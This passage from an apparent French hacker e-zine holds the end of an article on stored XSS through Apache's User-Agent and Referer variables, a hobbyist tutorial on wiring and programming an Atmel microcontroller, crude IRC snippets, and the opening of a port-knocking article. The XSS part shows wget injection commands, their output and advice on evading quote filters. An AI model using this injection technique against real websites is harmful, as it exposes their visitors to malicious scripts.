très documenter il est donc très rare aujourd'hui de trouver une occasion de
pouvoir les exploiter, puisque tout programmeurs digne de se nom on adapter
leurs code en conséquence (après tout en php un simple addslash suffit). Par
contre il demeure des variables que la plus par des programmeur ne prennent pas
la peine de vérifier, c'est le cas souvent des variable fourni par apache.
Combiner avec une certaine dose d'amateurisme dans la configuration de php.ini,
il devient possible d'injecter du code via toute variable fournis par apache
qui serais stocker et réutiliser par le script php d'un site web. Cette
technique peu par exemple mener a un SQL injection au niveau dun compteur. de
plus ce type de XSS peu facilement être injecter via un utilitaire simple
d'utilisation telle que wget.
La meilleur façon d'éviter l'injection de code via les variables local
d'apache en php est d'activer la protection magic_quotes qui par default est
désactivé pour des raisons de performance !?!? Evidament l'autre methode
consiste a vérifier soit même le contenue de chaque variable avant de la
faire afficher.
Rien de mieux qu'un exemple bien simple pour maîtriser le concept, j'ai
penser résumer la faille a sont expression la plus simple. une simple page php
qui store et affiche le contenu de la variable http_user_agent a chaque fois
que la page est visiter.
";
}
fclose($fp);
?>
nous voici donc avec un exemple de code vulnérable a un XSS Injection (et une
page web qui sert a rien). Si nous visitons cette page anodine avec un browser
standard, nous obtenons le résultat semblable a ceci
Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)
Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)
Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)
une ligne étant rajouter a chaque fois que la page est appeler. Maintenant,
essayons d'insérer du code dans cette page.
bash-2.05b$ wget -U "" http://mkdwebdev.mindkind.org/shrug.php
--21:03:53-- http://mkdwebdev.mindkind.org/shrug.php
=> `shrug.php.15'
Resolving mkdwebdev.mindkind.org... 66.201.225.100
Connecting to mkdwebdev.mindkind.org[66.201.225.100]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
[ <=> ] 249 --.--K/s
21:03:53 (2.37 MB/s) - `shrug.php' saved [249]
bash-2.05b$
maintenant si nous retournons voir avec un browser conventionnel on se rend
compte que le background est effectivement rendu noir. Évidement on est
encoreloin d'avoir router une box, c'est pourquoi on va essayer de
rendre l'exploitation un peu plus vénéneuse.
wget -U "" mkdwebdev.mindkind.org/shrug.php
--23:13:59-- http://mkdwebdev.mindkind.org/shrug.php
=> `shrug.php.21'
Resolving mkdwebdev.mindkind.org... 66.201.225.100
Connecting to mkdwebdev.mindkind.org[66.201.225.100]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
[ <=> ] 809 --.--K/s
23:13:59 (7.72 MB/s) - `shrug.php.21' saved [809]
Si nous retournons a notre browser et feson un refresh sur la page, nous nous
retrouvons maintenant avec du javascript d'exécuter. Même si il vous est
possible de passer des < > afin de rajouter script ou code html, la plus
part vous interdirons tout de même les " et ' remplacant les premiers par rien
et les second en y ajoutant un \ afin de le neutraliser. Ce n'est guerre
important puisque cette protection a été depuis pratiquement les tout début du
xss bypasser, il sufit d'utiliser leur equivalent html, unicode ou encore
hexadécimal. Dans cette exemple de bon vieu XSS classique, c'est l'équivalent
HTML qui a ete utiliser. Vous pourrez retrouver une bonne liste des XSS
standart réalisable, dans l'article spécifique a se sujet publier dans mindkind
par Mindflayr, ou encore vous referez a l'adresse suivante :
http://www.shocking.com/~rsnake/xss.html
La variable HTTP_REFERER peut aussi être utiliser de manière malicieuse dans
des conditions relativement semblable a HTTP_USER_AGENT. Par contre, d'autre
variable t'elle que REMOTE_ADDR et REMOTE_HOST sont soumise a un hand check
de la par de apache, ce qui rend l'injection de code via ces dites variables
totalement impossible.
wyzeman
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
| i|#hack.fr, un milieu riche en information \___________________ ___ __ _ |
| I| \ |
| I| '-=[ Mk-110 ]=-|
| // |
| L\:-=[ peut-on ouvrire un breche sur un logiciel ?? ]=--[~~]----|
| [( je dit bien ouvrire et non exploiter ). ] \/ |
[ une foi que t'a trouvé to logiciel et une breche , ] |
| [tu code ton propre exploit ] Save a
| [ oui mais je parle po de buffer overflow ] mouse, eat
| [ je parl de provoquer l'ouverture de la breche ] a pussy |
[ c trop technique la ] |
[ je vois pas ] |
| [ ]
|-[~]-=[ ]
]=-----:\T |
| // |
|I
|i
'_______________________________________.I[ Event ]I._________________________________+____'
.---+-=[ Doomsday device part 1 ]=------+---------------------------=[05]=----.
| i| \__________________ ___ __ _ |
| I| \ |
| I| '-=[Qwzykx ]=-|
| // |
| L\:-=[Ak : eille man ta tu des chips ? ]=--------------[~~~~~~~~~~~~]-----|
| \ / |
'________________________________________________________________________.I[MK-110]I.______'
Soit, bien qu'intéressant le monde de l'électronique ne peut concurrencer à lui
seul l'attaque des evil lesbiennes from Mtl.. Malheureusement en temps que
Geek et gars qui reste à Québec, se sujet pour le moins juteux, et fantaisiste
ne pourra être abordé en profondeur.. et j'en suis le premier désolé soyez
en sure... Par contre après l'ultime mystère des lesbiennes affamées, de la
femme urbaine contemporaine et du continuum espace temps, une touche de naïveté
nous sera nécessaire pour croire que l'électronique vaut encore la peine
d'être démystifier!!... après tout, qui sait, un jour peut-être la femme
bionique ne sera plus fiction, et ce jours tant entendu, la paix sur
terre deviendra réalité, et tous nous unirons pour chanter notre joie
à travers le monde entier, un tournevis à la main. :)
Et bien voici, le fondement de cet article enfin révéler, rien de moins qu'une
approche primaire aux microcontrôleurs. Whouuu!... phear!!.. en effet, le
tout sera plutôt pédagogique et progressif....!
Si l'électronique fut autre fois un truc complexe avec beaucoup d'imprévue tout
en étant mythique, et bien les temps ont changés! Il n'est plus nécessaire
de de rusher un max sur un truc qui n'a pas la possibilité de foutre de quoi!
Non la mode est à la miniaturisation et la portabilité. Certaine puce sont
préprogrammés, d'autre pas, certaine autre puise leur programme, dans des
simplifications et ramifications binaire, mais le joyaux de cette petite
famille c'est bien sur les microcontrôleurs qui agissent comme un
microprocesseur personnaliser. Il sont composés pour la plus part de registres,
de mémoires ainsi que de plusieurs lignes de contrôle;)! Les modèles sont
vaste et devraient êtres judicieusement choisis selon la "job" a faire Par
contre dans le cadre de notre "petite" expérimentation, nous utiliserons
un Atmel et ce d'une façon plutôt élémentaire! Mais vous serez à même de
juger du élémentaire en question dans les prochaines secondes!
Le Atmel AT89S8252 est un microcontrôleur comme bin d`autres, mais avec ses
particularités, en fait ils en ont tous, justement, le tout débute par en
savoir un peu plus sur la chip en question, par exemple son nombre de linge
configurables, les possibilités de communication, la mémoire, la vitesse
etc... En somme tant de facteurs qui nous rappelle qu'on est encore loin de
la fin de l'article :) Le Atmel est un chip qui contient différents
registres, et qui exécute son code en assembleur, mais comme l'homo sapiens des
temps moderne est plus apte à communiquer en C, il est aussi possible de
programmer son chip de façon optimisé avec un compilateur pour la dite puce!
Avant même de commencer sur le sujet, le tweaker en vous devrait déjà avoir
un minimum de devices composant le monde électronique.. d'ont un multimètre,
un planche de prototype, du fils (couleur différente si possible.. les vieux
câbles DB-25 sont tout indiquer pour ca) un fer à souder sans tétanos, ainsi
qu'un reste d'étain!
Material
- Atmel AT89S8252 microcontrôleur
- Dip socket
- Led`z (au besoin)
- Cristal 11 Mhz
- Condensateur 10pF - 10uF / résistance 1k-10k
- Board de test (au besoin)
- Alimentation électrique
- Cable DB-25 de moins de 2m
Avant même de pouvoir pensé à crée une machine infernal de la mort qui fais
une job X, il nous faudra la réaliser logiquement... En fait le procéder est
plutôt simple et tien plus de la recherche que de technique pour expert.. Dans
notre cas il suffit de savoir quelle ligne ira ou, que fera quoi, comment
alimenter les circuits en électricité ou encore comment relier les différentes
données entres elles.
Pour les specs de la puce, un tour chez le fabricant est souvent de mise,
encore la il faut apprendre à dissocier l'utile du superflue.. On cherche en
gros dans cette étape à quoi servent chacune des pattes du chip principal,
ainsi que celle des périphériques qui les entours, par exemple un LCD qu'on
voudrais interfacer, un chip de RAM ou de Flash qu'on voudrait aussi
rajouter etc.. La documentation est souvent présente, mais c'est souvent à nous
d'émuler avec celle-ci le moyen que nous allons prendre pour inter relier
intelligemment le tout! Par exemple, notre Atmel AT89S8252 à une ligne appeler
EA.Devant tant d'incertitude on ouvre une doc qui nous dit que le EA veut dire
External Adressing, et que quand il est à 5v (1 logique) le programme
roule à l'intérieur du microcontrôleur, et quand il est à 0v (0 logique) le
programme roule en mémoire externe, comme dans une ROM., RAM, ou Flash etc,
au fond y'a tellement de possibilités.. Comme cette ligne n'est pas trop
standard sur les autres pièces électronique,on en conclue que seul ce chip est
affecté à cette variable, ce qui serait logique car il s'agit d'une fonction
qui est propre au microcontrôleur. Par contre le AT89S8252 possède aussi 4
port de 8 bits chaque.. c'est ici que le tout devient de plus en plus
intéressant! Les données fournis ou interpréter par le AT89S8252 doivent être
relié à un port de données identiques sur un autre périphérique afin que les
deux modules reçoivent les mêmes données au même moment. Donc sur notre
montage il nous faudra évaluer grossièrement ou positionner les différant petit
signaux.. Comme par exemple, si le LCD comporte 8 lignes de data, on pourrait
très facilement prévoir qu'il nous faudra 8 lignes de data aussi sur le Atmel
AT89S8252. En somme voici le plan que j'ai fait, les détails vont suivre à la
suite si besoin est!
Sur la partie principale [IMG-01] on voit clairement le microcontrôleur ainsi
que ce qui l'entoure, les numéros au dessus de chaque lignes indiquent les
pins du chip, (pour plus d'infos sur les nomenclatures voir Mindkind #2. On
voit donc le cristal (ici de 11.059 Mhz), les différant ports, soit P0, P1, P2,
le P3 est plus ou moins défini sur ce schéma, mais pour vos projets il est
tout de même tout à fait disponible, noter aussi que les pin 40 (VCC) et
20 (GND) sont absente du shéma, oubliez les donc pas.
Sur la deuxième image [IMG-02] on voit un schéma d'un LCD avec ses pins et
leurs signaux associés. Sur [IMG-03] on peut voir les deux parties précédents
inters reliés entres elles, on voit bien les ports de données se différencier
des autres lignes (de contrôle ou d'alimentation).
Ces différents schémas sont pour vous aider à mieux voir l'interrelation qu'il
y a entres les composantes du montage à faire.
Une fois le tout semi analyser et repensé, on peut passer à la phase suivante
c'est-à-dire placer les différentes pièces du circuits ensemble et les relier
du mieux qu'on peut en botchant raisonnablement.. Pour se faire avec l'aide
du plan on va d'abord définir ou placer nos pièces, question de placer près
ce qui n'a pas besoins d'être loin, et vice versa!.
Donc au centre on placera le microcontrôleur, autour les périphériques etc..
comme par exemple voici ce que le montage nous a donner après la mise en
pratique du plan sur papier de tantôt!
[IMG-16] Image du produit fini (sans la puce).
Plutôt basic, je sais! Mais patience!!.. On a ici mis en place les pièces
essentiels pour que notre microcontrôleur puissent s'auto suffire;) n'est-ce
pas déjà la l'essentiel?!!
[IMG-04] On vois les pièces détachés d'ont on aura de besoin.
[IMG-05] Ici on pose le socket de 40 pin qui accueillera plus tard le
microcontrôleur, on commence par le "taqué" en place en soudant les
extrémités, comme ça s'il y a des modifs à faire on est pas obliger de
trop sacrer. :)
[IMG-06] Une fois terminée.
[IMG-07] En place ensuite le 7805 sur la plaquette (voir Mindkind #2 pour plus
d'infos sur le 7805).
[IMG-08] Vue de dessous des branchements.
[IMG-09] Installation des connecteurs, ici se sont des connecteurs plutôt
cheap, en fait semblerait que les connecteurs femelles soit à se point
rare qu'il n'y en a pas à Québec, j'ai donc pris des dip socket de 16
pins que j'ai ensuite couper en deux.. sa marche, mais y'a sûrement
moyen de trouver mieux...
[IMG-10] Vue de dessous.. On note aussi que les pins d'alimentation sont placer
cette fois, en dessous on voit le fil du GND (pin 20), sur le dessus
on a le VCC (pin40), on note aussi que les pins 29(PSEN) et 31
(EA) sont au VCC, car on ne les utilisera pas dans ce petit montage,
par contre si dans un futur l'occasion se présente d'interfacer de la
mémoire externe en utilisant un bus de donnée, d'adressage et de
contrôle,ces lignes vont devoir changer !
[IMG-11] Ici j'ai rajouté un interrupteur normalement ouvert (un bouton
poussoir) afin de contrôler le signal RESET du microcontrôleur, croyez
moi avec le temps on apprend à aimer reseter celui-ci avec un bouton
plutôt qu'en gossant avec l'alimentation électrique.
[IMG-12] Vue de dessous du branchement de l'interrupteur sur la ligne de reset.
En fait, le VCC va rejoindre l'interrupteur qui attend d'être activé
avant de laisser passer se 5v (VCC) à l a pin de reset du
microcontrôleur.
[IMG-13] Début du branchement des ports du Atmel au socket dip 16 pins couper
en deux donc 8 pins, qu'on a installé tantôt, les soudures sont par en
dessous car au-dessus y'a pas mal de truc qui gene le placement des
fils!
[IMG-14] Opération compléter.
[IMG-15] Ici on place des résistances pack sur les lignes de données, le
Atmel n'est pas vraiment fait pour fournir beaucoup d'ampérage sur un
niveau logique haut (5v), on est donc mieux de l'utiliser en logique
inverse. Ex : 1 logique = 0 volts.. L'utilisation de résistances
pull-up permet au microcontrôleur de voir un 1 logique lorsque la
ligne de donnée qui est brancher à la device à contrôler est flottante
(pas de valeur stable), en fait par ce procéder, on s'assure que le
chaos reste loin du montage.. si la valeur est flottante, le
microcontrôleur verra un 1 logique (grâce au 5v relier aux
résistances) au lieu d'un truc louche et pas défini. Et si on commande
une 0 logique, la ligne ou est brancher notre device sera donc de
zéro volt, car la résistance prendront à leurs bornes la différence de
potentiel, en somme le 5v initial cède la place au contrôle du Atmel.
Dans certain cas par contre, il faudra tenir compte de cette situation
lors de la rédaction de codes..(si la logique est inversé).
[IMG-16] Branchement du cristal (ici mon cristal est surface mount, mais y'a
tout de même moyen de le faire fitter.. On branche donc les pins 18 et
19 au cristal, puis ensuite de ces connections on place des
condensateurs de 20 pF qu'on relie au GND. (voir schéma initial) Sur
cette image, je rajoute aussi un port de programmation (en fait
c'est 4 lignes qui doivent êtres pluguer au port parallèle de votre
ordinateur), soit les pins 6-7-8-9.
On relie donc le port de l'imprimante à notre microcontrôleur de la façon
suivante :
ORDI ---------- Microcontrôleur
Lpt.6 (D4) _____ Atmel.9 (RESET)
Lpt.7 (D5) _____ Atmel.6 (MOSI)
Lpt.8 (D6) _____ Atmel.8 (SCK)
Lpt.10 (ACk) ____ Atmel.7 (MISO)
Lpt.25 (GND) ____ Atmel.20 (GND)
Utiliser un câble DB-25 de moins de 2m par contre, le signal a tendance
à pas suivre quand sa dépasse cette distance. J'ai modifier pour ma part le
câble en y rajoutant un circuit simple composer de deux inverseurs logique,
ainsi qu'une couples de résistances et de condensateur pour clarifier le tout,
voici le schéma de l'oeuvre :
Lpt.10 (D6)________________________________
|
|
(+5V) |
_____ | |
Lpt.7 (D5)_______________/| |\____| |
+_/| 7 |\___________|
+_/| 4 |\_+
,_(AD5)_____/| 0 |\_+
Lpt.8 (D6)_______________/| 6 |\________(AACK)_(Connecteur)_(Atmel.7)
i _____+/|___|\__+
| | __/ \__|_____(AD6)__(Connecteur)_(Atmel.8)
| |___|___________|
|________|_________________(AD5)__(Connecteur)_(Atmel.6)
|
Lpt.25 (GND)__________+_________________(GND)__(Connecteur)_(Atmel.20)
(+5V)__(Connecteur)_(Atmel.40)
(+5V)
|
|
C1 --- +
10uF ---
| (+5V)
R1 | _____ |
Lpt.6 (D4)__[ 1k ]___+_________/| |\___|
| +_/| 7 |\_
| +_/| 4 |\_
R2 | | ____/| 0 |\_
10K | | | _/| 6 |\_
| | _/|___|\_
(GND) | _/ \_
| |
|__|__________(AD4)__(Connecteur)_(Atmel.9)
|
(GND)
Ici le signal D4 passe par une résistance de 1K, avant d'être relié au 7406.
On place aussi un condensateur C1 ainsi qu'une autre résistance R2 de 10K sur
le même signal. Après avoir alimenté ces inverseurs logique (7406) ou (7404),
avec un voltage de 5 Volt (qu'on peut transformer à l'aide d'un simple 7805
"régulateur de voltage"). Les signaux (A*) sont simplement le signal amplifié à
la sortie des 7406, en fait en rentrant notre signal original à l'intérieur de
celui-ci, on la inversé une 1er fois,puis on la rentré une seconde fois dans un
second inverseur affin de retrouver notre niveau logique original, mais
amplifier autour de 4.5-5v, au lieu de 3-3.5v comme il serait à la sortie du
port parallèle.Le tout fini donc relié au Atmel (notre microcontrôleur), à un
voltage décent si il y avait des problèmes de ce côté la.
[IMG-17] Câble de programmation, avec le board que je viens de vous montrer
en schéma, relié au Atmel. J'utilise ici un 7805 pour régulariser
l'alimentation d'environs 20v qui provient du bornier noir. Les petits
fils sortent du board et sont relié au Atmel (soit quatre de données,
deux d'alimentation) Ici j'ai pas de DB-25, mais on émule plutôt
bien ou on devrait le placer... (au besoin).
Troubble shooting :
Et oui plein de truc tourne croche dans ce monde pervers, et ce montage n'y
échappera pas!, si toute fuck, respirer et analyser vos signaux, comme il
s'agit ici d'un montage assez simple, les causes d'erreur seront plutôt
minimal.. enfin ça risque de grandir au fur et à mesure que le montage
évoluera.. encore une fois il est pratique de faire fonctionner le tout section
par section affin justement de plus y revenir par la suite :)
Les bugs classiques :
- Pluguez la pin 31 du chip (EA) au 5V pour flasher le microcontrôleur.
- Pluguez les cristals (4 - 24MHz) et le 5V au microcontrôleur.
- Pluguez le condensateur et la résistance au signal RESET. partie du bas du
montage de tantôt (7406 pas obliger).
- Reliez tout vos signaux de Ground (GND) ensemble.
- Vérifier que les pins (6,7,8,9) du Atmel, sont bien brancher aux pins
correspondant sur le port d'imprimante.
Bon une fois notre port de programmation en place on peut entreprendre cette
magnifique saga qu'est le coding sur un chip... le AT89S8252 comporte 8k de
mémoire utilisable à l'interne. Se qui veut dire que vous pourrez coder un truc
de 8k tout au plus...(enfin 8k de données en asm pour être plus précis, donc si
vos fichiers en C font plus de 20k il y a encore de l'espoir!) Le logiciel que
j'utilise est IAR, il comporte les tools pour justement programmer et compiler
votre code, vous pouvez même le runer sur votre ordi!!.. enfin, en émulant
mentalement les effets...
IAR c'est en gros un compilateur C pour les microcontrôleurs, il nous faut
(dans notre cas le: IAR Embedded Workbench for 8051) le setter pour programmer
notre model de Atmel, avec quelques spécifications. En fait c'est un programme
qu'on peut sûrement trouver un peu partout... c'est comme les movies...
Les settings suivant sont à faire ou sont à vérifier:
- Copier le fichier lnk8051.xcl du e-zine dans le répertoire \8051\config
- Vous créez un projet, New Project, vous crée un feuille de code que vous
saver,...ensuite dans l'onglet Project, option File, on ajoute le .C que
vous avez saver, cut paster le code que j'ai mis plus bas dans cet article.
On a donc un projet avec un source code à l'intérieur, qui ne fait pas grand
choses mais quand même!.
- Dans le menu Project/Option cliquer sur XLINK et dans la section Format,
cochez l'option Other, dans la partie Output Format choisissez mpds-i. En
faisant ca vous allez sortir le code compilé en un format compatible
avec le Atmel.
Il est maintenant temps de mettre en pratique quelques notion de programmation
donc!..compilons le programme suivant .. "ici c'est le temps d'ouvrir IAR et de
copier le .c suivant :"
--------------------------[Cut here]----------------------------
#include //Description des io pour le AT89S8252.
//Place ou sont définie les terme du genre
//P1, P1.2 etc...
void delay (unsigned int); //Fonction de delay de temps.
void Process1(void); //Process qu'on va faire exécuter par le chip.
void Process2(void);
void Process3(void);
void main (void) //Main :)
{
while(1) //Boucle sans fin, pratique pour une puce
{ //qui fait une tache répétitive.
Process1(); //Call des process durant son while.
Process2();
Process3();
}
}
/********************Fonction delay***************************
Fonction qui permet d'introduire un délais de temps dans notre
code, comme le Atmel exécute du code rapidement, vraiment
rapidement, cette fonction a souvent comme but de ramener nos
commandes à un niveau de control ou de perception plus..
humain disons :)
Il s'agit en fait d'un gros compteur ou le Atmel perd du temps
à décrémenter la valeur de la variable passé en paramètre.
*************************************************************/
void delay (unsigned int compteur) //La fonction resoit un
{ //argument de type int.
while (compteur != 0x0000) //Boucle de comptage.
compteur--;
}
/********************Fonction Process1***********************
Le premier process qu'on fait faire à notre Atmel c'est
simplement un incrément binaire sur le port numéro 1.
Une valeur est initialisée à zéro, puis elle augmente au
fur et à mesure que l'incrément sur la variable passe dans
un while. Le Port 1 a donc sur ses 8 lignes la valeur de la
variable qui s'incrémente.
Ex : 0000 0000
0000 0001
0000 0010
0000 0011
0000 0100
0000 0101
0000 0110
avec entre chaque valeur un délai de temps qui permet
de voir ces changements, et non une ligne allumer.
************************************************************/
void Process1(void)
{
unsigned char valeur=0x00; //Déclaration d'une variable de 8bits.
while (valeur != 0xFF) //Boucle tant que la variable est pas
{ //à 0xFF, ou 256.
P1=valeur; //Le Port 1 du Atmel est égale à la
delay(6000); //valeur de la variable.
valeur++; //Call de la fonction de délais,
} //incrément de la variable.
}
/********************Fonction Process2*********************
Le deuxième process qu'on fait effectuer au Atmel est une#fresh
sortie de différentes valeurs sur le port 3 de celui-ci.
L'effet qui se déactive seulement si la Pin 1 du Atmel (le
signal P1.0) reçoit un niveau logique 1 (5v) à sa pin.
Les différentes valeurs hexadécimales active sur le port 3
différentes valeurs, ici le but est de faire un simple
effet chaser à la K-2000. Donc en première on envoie la
valeur 0x81, ce qui a pour effet de mettre à un le bit
le plus significatif (MSB) ainsi que le moins signifiant#fresh
(LSB). On continue par la suite avec un petit délai de temps,
puis on sort la prochaine séquence soit 0x42, qui décale
de une case vers le centre notre effet.. et ainsi de suite..
Tant que personne ne met un niveau logique 1 à la P1.0,
le tout continue à bouger de gauche à droite. Ici
on peu brancher des leds ou encore des transistors au
pin du Atmel afin de contrôler de vraies lumières "mise
dans un bon ordre". ;)
***********************************************************/
void Process2(void)
{
P1=0x00; //Initialisation du port 1 à zéro
while (P1.0 != 1) //Boucle tant que la pin 1 du Atmel (P1.0) est à
{ //pas à un niveau logique 1, (5v).
P3=0x81; //Le Port 3 a comme sortie sur ces 8 pins: 1000 0001
delay(4000); //Call du délai de temps.
P3=0x42; //Le Port 3 a comme sortie sur ces 8 pins: 0100 0010
delay(4000);
P3=0x24; //Le Port 3 a comme sortie sur ces 8 pins: 0010 0100
delay(4000);
P3=0x18; //Le Port 3 a comme sortie sur ces 8 pins: 0001 1000
delay(4000);
P3=0x24; //Le Port 3 a comme sortie sur ces 8 pins: 0010 0100
delay(4000);
P3=0x42; //Le Port 3 a comme sortie sur ces 8 pins: 0100 0010
delay(4000);
}
}
/********************Fonction Process3**********************
Notre troisième et dernier process inclut une condition
faisant varier la valeur du port 3 de façon croissante ou
décroissante selon la valeur d'une variable.
Si la pin 1 du Atmel (P1.0) est égal à un niveau logique 1,
soit 5v sur celle-ci, le port 3 affiche la valeur d'une
variable qui s'incrémente.
Sinon, le port 3 affiche une valeur de variable qui décrémente.
***********************************************************/
void Process3(void)
{
unsigned char valeur=0x00; //Déclaration d'une variable de 8bits
//à une valeur de départ de 0.
if (P1.0==1) //Si la pin 1 du Atmel (P1.0) est à un
{ //niveau logique 1, (5v).
while (valeur != 0xFF) //Boucle tant que la valeur est différente
{ //de 0xFF, 256.
P3=valeur; //Le port 3 est égale à la variable.
delay(3000); //Call du délai de temps.
valeur++; //Incrémentation de la variable.
}
}
else //Si la Pin 1 du Atmel est pas égale
{ //à un niveau logique 1, (5v)..
valeur=0xFF; //Nouvelle valeur de la variable
while (valeur != 0x00) //Boucle tant que la valeur est pas
{ //rendue à zéro.
P3=valeur; //Le port 3 est égale à la variable.
delay(3000); //Call du délai de temps.
valeur--; //Décrément de la variable.
}
}
}
#pragma function = default
--------------------------[Cut here]----------------------------
On compile notre code en cliquant sur le menu Projet, Bulld all. Ici on
voit apparaître une box de message sur nos erreur, ou notre beau code qui
marche.Le fichier une fois compiler se trouve dans le répertoire \Debug\Exe du
répertoire où vous avez crée votre projet. Il nous faudra ensuite convertir le
.hex du nom de votre projet, en un .bin et finalement programmer le Atmel
AT89S8252. J'utilise personnellement un prog appeler "Hex2Bin.exe" .. je vous
laisse deviner la fonction compliquer du programme ici... ensuite j'utilise
AllowIO.exe "un programme pour envoyer du data directement par le port // , en
bypassant les restrictions de Windows 2k, Xp et..." pis après on run le
"Isb_HB.exe" qui est en fait le programme qui s'interface avec le Atmel pour
le programmer. Y'a un txt file assez complet mais simple qui vous explique
aussi comment l'interfacer avec d'autres options, y'a même un test mode pour
voir ou que sa chie si y'a une merde.. Syntaxe facile... :
Hex2bin test.hex test.bin
AllowIO 0x378 isp_hb.exe /LPT1 /erase test.bin
Ici je vous laisse lire les .txt de chaque programme pour plus de
fonctionnalités.. car y en a de tous les genres...;) Mais on voit bien que
j'"allow" le prog ISB_HB à utiliser mon port parallèle "adresse 0x378", avec
comme consigne d'écrire dessus "LPT1", d'effacer ce qui avait comme code
avant"/erase", pis à remplacer le tout par mon code "test.bin"
Une fois programmé, on place le microcontrôleur dans son milieu de
développement, on active le RESET du microcontrôleur affin de le reseter sur le
nouveau code à l'intérieur et on devrait observer ce que nous espérions,
encore une fois si le code a bien été interprété. Sinon passons à la section
suivante HOW TO DEBUG A CODE... et si tout va bien, passons tout de même à la
section suivante.
Pour débuguer un code avec IAR, on doit:
- Allez dans le menu Projet, choisir Option, sélectionner XLINK, dans la
partie Format on sélectionne Debug info, on clique sur Ok.
- On retourne à notre menu Project et on choisis Debugger. Rendu la on a un
nouveau programme qui s'ouvre avec notre code qui passe sour un highlight.
- On se sert du menu Exécute et des options qui a la pour voir ce que notre
code fait step by step, on a aussi les mêmes options dans la barre de menu.
Si on débug notre code par exemple, on choisis de faire F3 (step into) pour
rentrer dans notre process numéro 1. On voit donc que l'on cast une variable
et on y met la valeur 0x00 à l'intérieur. Ensuite on rentre dans le while. On
vois le port 1 se mettre à la "valeur" de la variable, ensuite on fait F2,
juste Step, pour pas rentrer inutilement dans une fonction de délais ou un
compteur va décroître (c'est juste long et plate peser 65534 fois sur un
bouton..) On continue donc à faire avancer notre code avec F2, et on se rend
compte que boucler 256 fois c'est pas mieux non plus, donc on va voir les
variables directement :) Pour se faire on va dans le menu Control, on choisis
QuickWatch. Ici on devrait voir une box apparaître ou notre variable se trouve,
avec une valeur peu élever.. écrite en décimal, on clique sur le bouton Add
watch,et on a notre valeur dans une box qui spy nos variables, on peut changer
leurs valeurs en hexadécimal ou en binaire en cliquant "bouton de droite"
sur notre variable, on va dans les propriétés et on change le Display Format
par ce qu'on veut. Si on continue à exécuter virtuellement notre code (F2) on
voit la valeur augmenter. On peut aussi changer carrément la valeur de
celle-ci en cliquant encore sur notre variable "bouton de droite", on va
dans propriété et on change la valeur dans la partie Value. Encore une fois un
truc pratique pour éviter les boucles répétitives inutiles. On peut aussi
simplement faire "bouton de droite" sur le nom de notre variable à l'intérieur
de notre code pour ajouter un watch sur une variable.
Si on continue en entrant dans notre Process numéro 2, on peut déjà ajouter
des watchs sur nos valeurs du port 1 et 3 (P1,P3). Si on met l'affichage de
ces deux valeurs en binaire, on voit bien ce que la fonction s'exécuter.
Si on veut sortir de cette boucle, et faire comme si on appliquerais un 1
logique au signal P1.0, on a qu'à appliquer une valeur logique 1 au bit le
moins significatif de la valeur de P1, par exemple:
0x01 (hexa) --> 0000 0001 (bin).
Pour ce qui est du Process numéro 3, on peut très bien voir que dans un cas,
la valeur du port incrémente, et dans l'autre cas il décrémente, la méthode des
spy de variable, ainsi que la manipulation de leurs valeurs aide beaucoup à
comprendre la logique derrière le code.... en fait sa l'aide surtout à
trouver les bugs de logique derrière le code :)
Comme chaque code a sont lot de bug, je serais bien mal placer pour vous dire à
l'avance qu'elle est le votre.. mais avec expérience, s'il s'agit bel et bien
d'un bug de logique, on le trouve assez bien avec cette outil.
Oubliez pas de remettre dans IAR, Projet, Option, XLINK, votre Format à Other,
mpds-i. Sans sa vous aurez pas vos .hex quand vous voudrez compiler.
Pour finir, y'a beaucoup de possibilités de code qu'on peut crée avec ce type
de microcontrôleur. Ici les exemples était assez pour débutant. Mais on peut
facilement contrôler un LCD ou d'autre périphériques de contrôle avec, et ce à
une vitesse incroyable. A suivre dans le prochain Zine :). Une autre technique
de montage pourrait fort bien être utilisé pour des avantages quelconque,
l'utilisation d'un Atmel SOCI (c'est-à-dire beaucoup plus petit, et fait pour
le surface mount) serait un choix judicieux pour la gestion de l'espace du
circuit. Avec les moyen du bord soit, j'ai réussi à me builder un circuit de
test aussi gros qu'un macaron (pille incluse).. Je sais c'est pas encore
invisible, mais putin c'est un board de test.. y'a sûrement moyen d'ailleurs
de réduire le circuit (to be continue in an other kewl Zine...??) Enfin, cette
méthode se monte aussi plutôt bien, bien qu'elle nécessite un peu plus de
skill en soudure.. mais rien d'impossible je vous assure.
[IMG-18] Image du AT89S8252 SOCI, sur un board plus petit.
C'est déjà tout pour cette intro au microcôntroleur,probablement que dans le
prochain e-zine je vais pousser plus loin les possibilités de ce type de
contrôle, avec des périphériques et des codes plus complexes. D'ici la have fun
with expérimentation.
Qwzykx, the almost life in a box teacher.
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
| i|#hack.fr un endroit digne remplis de gentlemen \___________________ ___ __ _ |
| I| \ |
| I| '-=[ Mk-110 ]=-|
| // |
| L\:-=[ jétais pas 300 sur le x ? ]=--[~~]----|
| [ jsais meme pas t qui ] \/ |
[ add moi, jsuis wz0ds ] |
| [ le takeur de #rectum-crew par exellence ] Gravity
| [ hum, c dejas plus amusant ] always
| [ www.wz0ds.cc/index.pl?section=news ] wins |
[ ba, on peu pas dire que tu veux pas ] |
[ qu'est-ce tattend pour me addé? ] |
| [ ca depend, jai pas encore compris si tessaye de me faire peur]
|-[~]-=[ou de mimpressionner ]
]=-----:\T |
| // |
|I
|i
'_______________________________________.I[ Event ]I._________________________________+____'
.---+-=[ The real slim portknocker ]=------+---------------------------=[06]=----.
| i| \__________________ ___ __ _ |
| I| \ |
| I| '-=[Phawnky ]=-|
| // |
| L\:-=[Ak : aussi disponible en hot wheel ]=--------------[~~~~~~~~~~~~]-----|
| \ / |
'________________________________________________________________________.I[MK-110]I.______'
Aucune méthode d'authentification est infaible, que ça soit les tests
biometrique, genre ceux qui marche avec les empruntes digital, ou la retine...
ouaip les même que Wesley Snipes dejou dans demolition man en arrachant l'oeil
d'un gars. Ou les usernames/pass qui sont previsible, extrapolable, brute
forceable, voir même extorcable avec un regard méchant et un plunger a
toilette, bref you get the idea...
Le but de tout mécanisme d'authentification sophistiquer est de minimise le
plus possible la quantité de personne qui soit apte a contourner ce dernier. En
